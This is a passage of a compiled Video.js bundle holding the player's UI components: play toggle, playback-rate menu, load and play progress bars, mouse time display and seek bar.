  4495. PlayToggle.prototype.buildCSSClass = function buildCSSClass() {
  4496. return 'vjs-play-control ' + _Button.prototype.buildCSSClass.call(this);
  4497. };
  4498. /**
  4499. * Handle click to toggle between play and pause
  4500. *
  4501. * @method handleClick
  4502. */
  4503. PlayToggle.prototype.handleClick = function handleClick() {
  4504. if (this.player_.paused()) {
  4505. this.player_.play();
  4506. } else {
  4507. this.player_.pause();
  4508. }
  4509. };
  4510. /**
  4511. * Add the vjs-playing class to the element so it can change appearance
  4512. *
  4513. * @method handlePlay
  4514. */
  4515. PlayToggle.prototype.handlePlay = function handlePlay() {
  4516. this.removeClass('vjs-paused');
  4517. this.addClass('vjs-playing');
  4518. this.controlText('Pause'); // change the button text to "Pause"
  4519. };
  4520. /**
  4521. * Add the vjs-paused class to the element so it can change appearance
  4522. *
  4523. * @method handlePause
  4524. */
  4525. PlayToggle.prototype.handlePause = function handlePause() {
  4526. this.removeClass('vjs-playing');
  4527. this.addClass('vjs-paused');
  4528. this.controlText('Play'); // change the button text to "Play"
  4529. };
  4530. return PlayToggle;
  4531. })(_buttonJs2['default']);
  4532. PlayToggle.prototype.controlText_ = 'Play';
  4533. _componentJs2['default'].registerComponent('PlayToggle', PlayToggle);
  4534. exports['default'] = PlayToggle;
  4535. module.exports = exports['default'];
  4536. },{"../button.js":64,"../component.js":67}],75:[function(_dereq_,module,exports){
  4537. /**
  4538. * @file playback-rate-menu-button.js
  4539. */
  4540. 'use strict';
  4541. exports.__esModule = true;
  4542. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4543. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4544. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4545. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4546. var _menuMenuButtonJs = _dereq_('../../menu/menu-button.js');
  4547. var _menuMenuButtonJs2 = _interopRequireDefault(_menuMenuButtonJs);
  4548. var _menuMenuJs = _dereq_('../../menu/menu.js');
  4549. var _menuMenuJs2 = _interopRequireDefault(_menuMenuJs);
  4550. var _playbackRateMenuItemJs = _dereq_('./playback-rate-menu-item.js');
  4551. var _playbackRateMenuItemJs2 = _interopRequireDefault(_playbackRateMenuItemJs);
  4552. var _componentJs = _dereq_('../../component.js');
  4553. var _componentJs2 = _interopRequireDefault(_componentJs);
  4554. var _utilsDomJs = _dereq_('../../utils/dom.js');
  4555. var Dom = _interopRequireWildcard(_utilsDomJs);
  4556. /**
  4557. * The component for controlling the playback rate
  4558. *
  4559. * @param {Player|Object} player
  4560. * @param {Object=} options
  4561. * @extends MenuButton
  4562. * @class PlaybackRateMenuButton
  4563. */
  4564. var PlaybackRateMenuButton = (function (_MenuButton) {
  4565. _inherits(PlaybackRateMenuButton, _MenuButton);
  4566. function PlaybackRateMenuButton(player, options) {
  4567. _classCallCheck(this, PlaybackRateMenuButton);
  4568. _MenuButton.call(this, player, options);
  4569. this.updateVisibility();
  4570. this.updateLabel();
  4571. this.on(player, 'loadstart', this.updateVisibility);
  4572. this.on(player, 'ratechange', this.updateLabel);
  4573. }
  4574. /**
  4575. * Create the component's DOM element
  4576. *
  4577. * @return {Element}
  4578. * @method createEl
  4579. */
  4580. PlaybackRateMenuButton.prototype.createEl = function createEl() {
  4581. var el = _MenuButton.prototype.createEl.call(this);
  4582. this.labelEl_ = Dom.createEl('div', {
  4583. className: 'vjs-playback-rate-value',
  4584. innerHTML: 1.0
  4585. });
  4586. el.appendChild(this.labelEl_);
  4587. return el;
  4588. };
  4589. /**
  4590. * Allow sub components to stack CSS class names
  4591. *
  4592. * @return {String} The constructed class name
  4593. * @method buildCSSClass
  4594. */
  4595. PlaybackRateMenuButton.prototype.buildCSSClass = function buildCSSClass() {
  4596. return 'vjs-playback-rate ' + _MenuButton.prototype.buildCSSClass.call(this);
  4597. };
  4598. /**
  4599. * Create the playback rate menu
  4600. *
  4601. * @return {Menu} Menu object populated with items
  4602. * @method createMenu
  4603. */
  4604. PlaybackRateMenuButton.prototype.createMenu = function createMenu() {
  4605. var menu = new _menuMenuJs2['default'](this.player());
  4606. var rates = this.playbackRates();
  4607. if (rates) {
  4608. for (var i = rates.length - 1; i >= 0; i--) {
  4609. menu.addChild(new _playbackRateMenuItemJs2['default'](this.player(), { 'rate': rates[i] + 'x' }));
  4610. }
  4611. }
  4612. return menu;
  4613. };
  4614. /**
  4615. * Updates ARIA accessibility attributes
  4616. *
  4617. * @method updateARIAAttributes
  4618. */
  4619. PlaybackRateMenuButton.prototype.updateARIAAttributes = function updateARIAAttributes() {
  4620. // Current playback rate
  4621. this.el().setAttribute('aria-valuenow', this.player().playbackRate());
  4622. };
  4623. /**
  4624. * Handle menu item click
  4625. *
  4626. * @method handleClick
  4627. */
  4628. PlaybackRateMenuButton.prototype.handleClick = function handleClick() {
  4629. // select next rate option
  4630. var currentRate = this.player().playbackRate();
  4631. var rates = this.playbackRates();
  4632. // this will select first one if the last one currently selected
  4633. var newRate = rates[0];
  4634. for (var i = 0; i < rates.length; i++) {
  4635. if (rates[i] > currentRate) {
  4636. newRate = rates[i];
  4637. break;
  4638. }
  4639. }
  4640. this.player().playbackRate(newRate);
  4641. };
  4642. /**
  4643. * Get possible playback rates
  4644. *
  4645. * @return {Array} Possible playback rates
  4646. * @method playbackRates
  4647. */
  4648. PlaybackRateMenuButton.prototype.playbackRates = function playbackRates() {
  4649. return this.options_['playbackRates'] || this.options_.playerOptions && this.options_.playerOptions['playbackRates'];
  4650. };
  4651. /**
  4652. * Get whether playback rates is supported by the tech
  4653. * and an array of playback rates exists
  4654. *
  4655. * @return {Boolean} Whether changing playback rate is supported
  4656. * @method playbackRateSupported
  4657. */
  4658. PlaybackRateMenuButton.prototype.playbackRateSupported = function playbackRateSupported() {
  4659. return this.player().tech_ && this.player().tech_['featuresPlaybackRate'] && this.playbackRates() && this.playbackRates().length > 0;
  4660. };
  4661. /**
  4662. * Hide playback rate controls when they're no playback rate options to select
  4663. *
  4664. * @method updateVisibility
  4665. */
  4666. PlaybackRateMenuButton.prototype.updateVisibility = function updateVisibility() {
  4667. if (this.playbackRateSupported()) {
  4668. this.removeClass('vjs-hidden');
  4669. } else {
  4670. this.addClass('vjs-hidden');
  4671. }
  4672. };
  4673. /**
  4674. * Update button label when rate changed
  4675. *
  4676. * @method updateLabel
  4677. */
  4678. PlaybackRateMenuButton.prototype.updateLabel = function updateLabel() {
  4679. if (this.playbackRateSupported()) {
  4680. this.labelEl_.innerHTML = this.player().playbackRate() + 'x';
  4681. }
  4682. };
  4683. return PlaybackRateMenuButton;
  4684. })(_menuMenuButtonJs2['default']);
  4685. PlaybackRateMenuButton.prototype.controlText_ = 'Playback Rate';
  4686. _componentJs2['default'].registerComponent('PlaybackRateMenuButton', PlaybackRateMenuButton);
  4687. exports['default'] = PlaybackRateMenuButton;
  4688. module.exports = exports['default'];
  4689. },{"../../component.js":67,"../../menu/menu-button.js":109,"../../menu/menu.js":111,"../../utils/dom.js":142,"./playback-rate-menu-item.js":76}],76:[function(_dereq_,module,exports){
  4690. /**
  4691. * @file playback-rate-menu-item.js
  4692. */
  4693. 'use strict';
  4694. exports.__esModule = true;
  4695. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4696. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4697. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4698. var _menuMenuItemJs = _dereq_('../../menu/menu-item.js');
  4699. var _menuMenuItemJs2 = _interopRequireDefault(_menuMenuItemJs);
  4700. var _componentJs = _dereq_('../../component.js');
  4701. var _componentJs2 = _interopRequireDefault(_componentJs);
  4702. /**
  4703. * The specific menu item type for selecting a playback rate
  4704. *
  4705. * @param {Player|Object} player
  4706. * @param {Object=} options
  4707. * @extends MenuItem
  4708. * @class PlaybackRateMenuItem
  4709. */
  4710. var PlaybackRateMenuItem = (function (_MenuItem) {
  4711. _inherits(PlaybackRateMenuItem, _MenuItem);
  4712. function PlaybackRateMenuItem(player, options) {
  4713. _classCallCheck(this, PlaybackRateMenuItem);
  4714. var label = options['rate'];
  4715. var rate = parseFloat(label, 10);
  4716. // Modify options for parent MenuItem class's init.
  4717. options['label'] = label;
  4718. options['selected'] = rate === 1;
  4719. _MenuItem.call(this, player, options);
  4720. this.label = label;
  4721. this.rate = rate;
  4722. this.on(player, 'ratechange', this.update);
  4723. }
  4724. /**
  4725. * Handle click on menu item
  4726. *
  4727. * @method handleClick
  4728. */
  4729. PlaybackRateMenuItem.prototype.handleClick = function handleClick() {
  4730. _MenuItem.prototype.handleClick.call(this);
  4731. this.player().playbackRate(this.rate);
  4732. };
  4733. /**
  4734. * Update playback rate with selected rate
  4735. *
  4736. * @method update
  4737. */
  4738. PlaybackRateMenuItem.prototype.update = function update() {
  4739. this.selected(this.player().playbackRate() === this.rate);
  4740. };
  4741. return PlaybackRateMenuItem;
  4742. })(_menuMenuItemJs2['default']);
  4743. PlaybackRateMenuItem.prototype.contentElType = 'button';
  4744. _componentJs2['default'].registerComponent('PlaybackRateMenuItem', PlaybackRateMenuItem);
  4745. exports['default'] = PlaybackRateMenuItem;
  4746. module.exports = exports['default'];
  4747. },{"../../component.js":67,"../../menu/menu-item.js":110}],77:[function(_dereq_,module,exports){
  4748. /**
  4749. * @file load-progress-bar.js
  4750. */
  4751. 'use strict';
  4752. exports.__esModule = true;
  4753. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4754. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4755. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4756. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4757. var _componentJs = _dereq_('../../component.js');
  4758. var _componentJs2 = _interopRequireDefault(_componentJs);
  4759. var _utilsDomJs = _dereq_('../../utils/dom.js');
  4760. var Dom = _interopRequireWildcard(_utilsDomJs);
  4761. /**
  4762. * Shows load progress
  4763. *
  4764. * @param {Player|Object} player
  4765. * @param {Object=} options
  4766. * @extends Component
  4767. * @class LoadProgressBar
  4768. */
  4769. var LoadProgressBar = (function (_Component) {
  4770. _inherits(LoadProgressBar, _Component);
  4771. function LoadProgressBar(player, options) {
  4772. _classCallCheck(this, LoadProgressBar);
  4773. _Component.call(this, player, options);
  4774. this.on(player, 'progress', this.update);
  4775. }
  4776. /**
  4777. * Create the component's DOM element
  4778. *
  4779. * @return {Element}
  4780. * @method createEl
  4781. */
  4782. LoadProgressBar.prototype.createEl = function createEl() {
  4783. return _Component.prototype.createEl.call(this, 'div', {
  4784. className: 'vjs-load-progress',
  4785. innerHTML: '<span class="vjs-control-text"><span>' + this.localize('Loaded') + '</span>: 0%</span>'
  4786. });
  4787. };
  4788. /**
  4789. * Update progress bar
  4790. *
  4791. * @method update
  4792. */
  4793. LoadProgressBar.prototype.update = function update() {
  4794. var buffered = this.player_.buffered();
  4795. var duration = this.player_.duration();
  4796. var bufferedEnd = this.player_.bufferedEnd();
  4797. var children = this.el_.children;
  4798. // get the percent width of a time compared to the total end
  4799. var percentify = function percentify(time, end) {
  4800. var percent = time / end || 0; // no NaN
  4801. return (percent >= 1 ? 1 : percent) * 100 + '%';
  4802. };
  4803. // update the width of the progress bar
  4804. this.el_.style.width = percentify(bufferedEnd, duration);
  4805. // add child elements to represent the individual buffered time ranges
  4806. for (var i = 0; i < buffered.length; i++) {
  4807. var start = buffered.start(i);
  4808. var end = buffered.end(i);
  4809. var part = children[i];
  4810. if (!part) {
  4811. part = this.el_.appendChild(Dom.createEl());
  4812. }
  4813. // set the percent based on the width of the progress bar (bufferedEnd)
  4814. part.style.left = percentify(start, bufferedEnd);
  4815. part.style.width = percentify(end - start, bufferedEnd);
  4816. }
  4817. // remove unused buffered range elements
  4818. for (var i = children.length; i > buffered.length; i--) {
  4819. this.el_.removeChild(children[i - 1]);
  4820. }
  4821. };
  4822. return LoadProgressBar;
  4823. })(_componentJs2['default']);
  4824. _componentJs2['default'].registerComponent('LoadProgressBar', LoadProgressBar);
  4825. exports['default'] = LoadProgressBar;
  4826. module.exports = exports['default'];
  4827. },{"../../component.js":67,"../../utils/dom.js":142}],78:[function(_dereq_,module,exports){
  4828. /**
  4829. * @file mouse-time-display.js
  4830. */
  4831. 'use strict';
  4832. exports.__esModule = true;
  4833. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4834. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4835. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4836. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4837. var _globalWindow = _dereq_('global/window');
  4838. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  4839. var _componentJs = _dereq_('../../component.js');
  4840. var _componentJs2 = _interopRequireDefault(_componentJs);
  4841. var _utilsDomJs = _dereq_('../../utils/dom.js');
  4842. var Dom = _interopRequireWildcard(_utilsDomJs);
  4843. var _utilsFnJs = _dereq_('../../utils/fn.js');
  4844. var Fn = _interopRequireWildcard(_utilsFnJs);
  4845. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  4846. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  4847. var _lodashCompatFunctionThrottle = _dereq_('lodash-compat/function/throttle');
  4848. var _lodashCompatFunctionThrottle2 = _interopRequireDefault(_lodashCompatFunctionThrottle);
  4849. /**
  4850. * The Mouse Time Display component shows the time you will seek to
  4851. * when hovering over the progress bar
  4852. *
  4853. * @param {Player|Object} player
  4854. * @param {Object=} options
  4855. * @extends Component
  4856. * @class MouseTimeDisplay
  4857. */
  4858. var MouseTimeDisplay = (function (_Component) {
  4859. _inherits(MouseTimeDisplay, _Component);
  4860. function MouseTimeDisplay(player, options) {
  4861. var _this = this;
  4862. _classCallCheck(this, MouseTimeDisplay);
  4863. _Component.call(this, player, options);
  4864. if (options.playerOptions && options.playerOptions.controlBar && options.playerOptions.controlBar.progressControl && options.playerOptions.controlBar.progressControl.keepTooltipsInside) {
  4865. this.keepTooltipsInside = options.playerOptions.controlBar.progressControl.keepTooltipsInside;
  4866. }
  4867. if (this.keepTooltipsInside) {
  4868. this.tooltip = Dom.createEl('div', { className: 'vjs-time-tooltip' });
  4869. this.el().appendChild(this.tooltip);
  4870. this.addClass('vjs-keep-tooltips-inside');
  4871. }
  4872. this.update(0, 0);
  4873. player.on('ready', function () {
  4874. _this.on(player.controlBar.progressControl.el(), 'mousemove', _lodashCompatFunctionThrottle2['default'](Fn.bind(_this, _this.handleMouseMove), 25));
  4875. });
  4876. }
  4877. /**
  4878. * Create the component's DOM element
  4879. *
  4880. * @return {Element}
  4881. * @method createEl
  4882. */
  4883. MouseTimeDisplay.prototype.createEl = function createEl() {
  4884. return _Component.prototype.createEl.call(this, 'div', {
  4885. className: 'vjs-mouse-display'
  4886. });
  4887. };
  4888. MouseTimeDisplay.prototype.handleMouseMove = function handleMouseMove(event) {
  4889. var duration = this.player_.duration();
  4890. var newTime = this.calculateDistance(event) * duration;
  4891. var position = event.pageX - Dom.findElPosition(this.el().parentNode).left;
  4892. this.update(newTime, position);
  4893. };
  4894. MouseTimeDisplay.prototype.update = function update(newTime, position) {
  4895. var time = _utilsFormatTimeJs2['default'](newTime, this.player_.duration());
  4896. this.el().style.left = position + 'px';
  4897. this.el().setAttribute('data-current-time', time);
  4898. if (this.keepTooltipsInside) {
  4899. var clampedPosition = this.clampPosition_(position);
  4900. var difference = position - clampedPosition + 1;
  4901. var tooltipWidth = parseFloat(_globalWindow2['default'].getComputedStyle(this.tooltip).width);
  4902. var tooltipWidthHalf = tooltipWidth / 2;
  4903. this.tooltip.innerHTML = time;
  4904. this.tooltip.style.right = '-' + (tooltipWidthHalf - difference) + 'px';
  4905. }
  4906. };
  4907. MouseTimeDisplay.prototype.calculateDistance = function calculateDistance(event) {
  4908. return Dom.getPointerPosition(this.el().parentNode, event).x;
  4909. };
  4910. /**
  4911. * This takes in a horizontal position for the bar and returns a clamped position.
  4912. * Clamped position means that it will keep the position greater than half the width
  4913. * of the tooltip and smaller than the player width minus half the width o the tooltip.
  4914. * It will only clamp the position if `keepTooltipsInside` option is set.
  4915. *
  4916. * @param {Number} position the position the bar wants to be
  4917. * @return {Number} newPosition the (potentially) clamped position
  4918. * @method clampPosition_
  4919. */
  4920. MouseTimeDisplay.prototype.clampPosition_ = function clampPosition_(position) {
  4921. if (!this.keepTooltipsInside) {
  4922. return position;
  4923. }
  4924. var playerWidth = parseFloat(_globalWindow2['default'].getComputedStyle(this.player().el()).width);
  4925. var tooltipWidth = parseFloat(_globalWindow2['default'].getComputedStyle(this.tooltip).width);
  4926. var tooltipWidthHalf = tooltipWidth / 2;
  4927. var actualPosition = position;
  4928. if (position < tooltipWidthHalf) {
  4929. actualPosition = Math.ceil(tooltipWidthHalf);
  4930. } else if (position > playerWidth - tooltipWidthHalf) {
  4931. actualPosition = Math.floor(playerWidth - tooltipWidthHalf);
  4932. }
  4933. return actualPosition;
  4934. };
  4935. return MouseTimeDisplay;
  4936. })(_componentJs2['default']);
  4937. _componentJs2['default'].registerComponent('MouseTimeDisplay', MouseTimeDisplay);
  4938. exports['default'] = MouseTimeDisplay;
  4939. module.exports = exports['default'];
  4940. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/fn.js":144,"../../utils/format-time.js":145,"global/window":2,"lodash-compat/function/throttle":7}],79:[function(_dereq_,module,exports){
  4941. /**
  4942. * @file play-progress-bar.js
  4943. */
  4944. 'use strict';
  4945. exports.__esModule = true;
  4946. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  4947. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  4948. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  4949. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  4950. var _componentJs = _dereq_('../../component.js');
  4951. var _componentJs2 = _interopRequireDefault(_componentJs);
  4952. var _utilsFnJs = _dereq_('../../utils/fn.js');
  4953. var Fn = _interopRequireWildcard(_utilsFnJs);
  4954. var _utilsDomJs = _dereq_('../../utils/dom.js');
  4955. var Dom = _interopRequireWildcard(_utilsDomJs);
  4956. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  4957. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  4958. /**
  4959. * Shows play progress
  4960. *
  4961. * @param {Player|Object} player
  4962. * @param {Object=} options
  4963. * @extends Component
  4964. * @class PlayProgressBar
  4965. */
  4966. var PlayProgressBar = (function (_Component) {
  4967. _inherits(PlayProgressBar, _Component);
  4968. function PlayProgressBar(player, options) {
  4969. _classCallCheck(this, PlayProgressBar);
  4970. _Component.call(this, player, options);
  4971. this.updateDataAttr();
  4972. this.on(player, 'timeupdate', this.updateDataAttr);
  4973. player.ready(Fn.bind(this, this.updateDataAttr));
  4974. if (options.playerOptions && options.playerOptions.controlBar && options.playerOptions.controlBar.progressControl && options.playerOptions.controlBar.progressControl.keepTooltipsInside) {
  4975. this.keepTooltipsInside = options.playerOptions.controlBar.progressControl.keepTooltipsInside;
  4976. }
  4977. if (this.keepTooltipsInside) {
  4978. this.addClass('vjs-keep-tooltips-inside');
  4979. }
  4980. }
  4981. /**
  4982. * Create the component's DOM element
  4983. *
  4984. * @return {Element}
  4985. * @method createEl
  4986. */
  4987. PlayProgressBar.prototype.createEl = function createEl() {
  4988. return _Component.prototype.createEl.call(this, 'div', {
  4989. className: 'vjs-play-progress vjs-slider-bar',
  4990. innerHTML: '<span class="vjs-control-text"><span>' + this.localize('Progress') + '</span>: 0%</span>'
  4991. });
  4992. };
  4993. PlayProgressBar.prototype.updateDataAttr = function updateDataAttr() {
  4994. var time = this.player_.scrubbing() ? this.player_.getCache().currentTime : this.player_.currentTime();
  4995. this.el_.setAttribute('data-current-time', _utilsFormatTimeJs2['default'](time, this.player_.duration()));
  4996. };
  4997. return PlayProgressBar;
  4998. })(_componentJs2['default']);
  4999. _componentJs2['default'].registerComponent('PlayProgressBar', PlayProgressBar);
  5000. exports['default'] = PlayProgressBar;
  5001. module.exports = exports['default'];
  5002. },{"../../component.js":67,"../../utils/dom.js":142,"../../utils/fn.js":144,"../../utils/format-time.js":145}],80:[function(_dereq_,module,exports){
  5003. /**
  5004. * @file progress-control.js
  5005. */
  5006. 'use strict';
  5007. exports.__esModule = true;
  5008. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5009. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5010. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5011. var _componentJs = _dereq_('../../component.js');
  5012. var _componentJs2 = _interopRequireDefault(_componentJs);
  5013. var _seekBarJs = _dereq_('./seek-bar.js');
  5014. var _seekBarJs2 = _interopRequireDefault(_seekBarJs);
  5015. var _mouseTimeDisplayJs = _dereq_('./mouse-time-display.js');
  5016. var _mouseTimeDisplayJs2 = _interopRequireDefault(_mouseTimeDisplayJs);
  5017. /**
  5018. * The Progress Control component contains the seek bar, load progress,
  5019. * and play progress
  5020. *
  5021. * @param {Player|Object} player
  5022. * @param {Object=} options
  5023. * @extends Component
  5024. * @class ProgressControl
  5025. */
  5026. var ProgressControl = (function (_Component) {
  5027. _inherits(ProgressControl, _Component);
  5028. function ProgressControl() {
  5029. _classCallCheck(this, ProgressControl);
  5030. _Component.apply(this, arguments);
  5031. }
  5032. /**
  5033. * Create the component's DOM element
  5034. *
  5035. * @return {Element}
  5036. * @method createEl
  5037. */
  5038. ProgressControl.prototype.createEl = function createEl() {
  5039. return _Component.prototype.createEl.call(this, 'div', {
  5040. className: 'vjs-progress-control vjs-control'
  5041. });
  5042. };
  5043. return ProgressControl;
  5044. })(_componentJs2['default']);
  5045. ProgressControl.prototype.options_ = {
  5046. children: ['seekBar']
  5047. };
  5048. _componentJs2['default'].registerComponent('ProgressControl', ProgressControl);
  5049. exports['default'] = ProgressControl;
  5050. module.exports = exports['default'];
  5051. },{"../../component.js":67,"./mouse-time-display.js":78,"./seek-bar.js":81}],81:[function(_dereq_,module,exports){
  5052. /**
  5053. * @file seek-bar.js
  5054. */
  5055. 'use strict';
  5056. exports.__esModule = true;
  5057. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  5058. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  5059. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  5060. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  5061. var _globalWindow = _dereq_('global/window');
  5062. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  5063. var _sliderSliderJs = _dereq_('../../slider/slider.js');
  5064. var _sliderSliderJs2 = _interopRequireDefault(_sliderSliderJs);
  5065. var _componentJs = _dereq_('../../component.js');
  5066. var _componentJs2 = _interopRequireDefault(_componentJs);
  5067. var _loadProgressBarJs = _dereq_('./load-progress-bar.js');
  5068. var _loadProgressBarJs2 = _interopRequireDefault(_loadProgressBarJs);
  5069. var _playProgressBarJs = _dereq_('./play-progress-bar.js');
  5070. var _playProgressBarJs2 = _interopRequireDefault(_playProgressBarJs);
  5071. var _tooltipProgressBarJs = _dereq_('./tooltip-progress-bar.js');
  5072. var _tooltipProgressBarJs2 = _interopRequireDefault(_tooltipProgressBarJs);
  5073. var _utilsFnJs = _dereq_('../../utils/fn.js');
  5074. var Fn = _interopRequireWildcard(_utilsFnJs);
  5075. var _utilsFormatTimeJs = _dereq_('../../utils/format-time.js');
  5076. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  5077. var _objectAssign = _dereq_('object.assign');
  5078. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  5079. /**
  5080. * Seek Bar and holder for the progress bars
  5081. *
  5082. * @param {Player|Object} player
  5083. * @param {Object=} options
  5084. * @extends Slider
  5085. * @class SeekBar
  5086. */
  5087. var SeekBar = (function (_Slider) {
  5088. _inherits(SeekBar, _Slider);
  5089. function SeekBar(player, options) {
  5090. _classCallCheck(this, SeekBar);
  5091. _Slider.call(this, player, options);
  5092. this.on(player, 'timeupdate', this.updateProgress);
  5093. this.on(player, 'ended', this.updateProgress);
  5094. player.ready(Fn.bind(this, this.updateProgress));
  5095. if (options.playerOptions && options.playerOptions.controlBar && options.playerOptions.controlBar.progressControl && options.playerOptions.controlBar.progressControl.keepTooltipsInside) {
  5096. this.keepTooltipsInside = options.playerOptions.controlBar.progressControl.keepTooltipsInside;
  5097. }
  5098. if (this.keepTooltipsInside) {
  5099. this.tooltipProgressBar = this.addChild('TooltipProgressBar');
  5100. }
  5101. }
  5102. /**
  5103. * Create the component's DOM element
  5104. *
  5105. * @return {Element}
  5106. * @method createEl
  5107. */
  5108. SeekBar.prototype.createEl = function createEl() {
  5109. return _Slider.prototype.createEl.call(this, 'div', {
  5110. className: 'vjs-progress-holder'
  5111. }, {
  5112. 'aria-label': 'progress bar'
  5113. });
  5114. };
  5115. /**
  5116. * Update ARIA accessibility attributes
  5117. *
  5118. * @method updateARIAAttributes
  5119. */
  5120. SeekBar.prototype.updateProgress = function updateProgress() {
  5121. this.updateAriaAttributes(this.el_);
  5122. if (this.keepTooltipsInside) {
  5123. this.updateAriaAttributes(this.tooltipProgressBar.el_);
  5124. this.tooltipProgressBar.el_.style.width = this.bar.el_.style.width;
  5125. var playerWidth = parseFloat(_globalWindow2['default'].getComputedStyle(this.player().el()).width);
  5126. var tooltipWidth = parseFloat(_globalWindow2['default'].getComputedStyle(this.tooltipProgressBar.tooltip).width);
  5127. var tooltipStyle = this.tooltipProgressBar.el().style;
  5128. tooltipStyle.maxWidth = Math.floor(playerWidth - tooltipWidth / 2) + 'px';
  5129. tooltipStyle.minWidth = Math.ceil(tooltipWidth / 2) + 'px';
  5130. tooltipStyle.right = '-' + tooltipWidth / 2 + 'px';
  5131. }
  5132. };
  5133. SeekBar.prototype.updateAriaAttributes = function updateAriaAttributes(el) {
  5134. // Allows for smooth scrubbing, when player can't keep up.
  5135. var time = this.player_.scrubbing() ? this.player_.getCache().currentTime : this.player_.currentTime();
  5136. el.setAttribute('aria-valuenow', (this.getPercent() * 100).toFixed(2)); // machine readable value of progress bar (percentage complete)
